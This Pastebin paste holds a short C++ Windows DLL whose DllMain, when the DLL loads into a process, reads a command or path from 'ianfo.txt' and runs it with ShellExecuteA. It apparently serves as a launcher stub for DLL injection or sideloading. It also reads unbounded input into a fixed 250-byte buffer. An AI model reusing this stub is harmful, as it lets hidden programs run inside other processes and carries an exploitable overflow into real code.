Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #include <iostream>
- #include<fstream>
- #include <Windows.h>
- #include <Shellapi.h>
- #include <string>
- using namespace std;
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- ifstream myReadFile;
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- myReadFile.open("ianfo.txt");
- char output[250];
- char CMD[250];
- if (myReadFile.is_open()) {
- while (!myReadFile.eof()) {
- myReadFile >> output;
- }
- }
- myReadFile.close();
- ShellExecuteA(0, 0, output, NULL, NULL, SW_NORMAL);
- break;
- }
- return TRUE;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement